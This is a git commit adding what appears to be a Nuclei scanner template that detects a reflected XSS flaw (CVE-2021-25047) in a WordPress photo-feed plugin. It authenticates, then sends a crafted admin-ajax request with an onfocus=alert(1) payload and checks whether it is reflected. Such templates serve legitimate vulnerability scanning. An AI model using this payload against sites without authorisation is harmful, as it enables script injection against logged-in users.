Create CVE-2021-25047.yaml
parent
55a470f07b
commit
61ae4fa4b8
|
@ -0,0 +1,40 @@
|
|||
id: CVE-2021-25047
|
||||
|
||||
info:
|
||||
name: 10Web Social Photo Feed < 1.4.29 - Reflected Cross-Site Scripting (XSS)
|
||||
author: dhiyaneshDk
|
||||
severity: medium
|
||||
description: The plugin was affected by a reflected Cross-Site Scripting (XSS) vulnerability in the wdi_apply_changes admin page, allowing an attacker to perform such attack against any logged in users.
|
||||
reference: https://wpscan.com/vulnerability/d33241cc-17b6-491a-b836-dd9368652316
|
||||
tags: wordpress,wp-plugin,xss
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /wp-login.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{RootURL}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
||||
|
||||
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
||||
- |
|
||||
GET /wp-admin/admin-ajax.php?action=wdi_apply_changes&page=%22%20id=x%20tabindex=1%20onfocus=alert(1)%20autofocus=#x HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
cookie-reuse: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "onfocus=alert(1)"
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- text/html
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue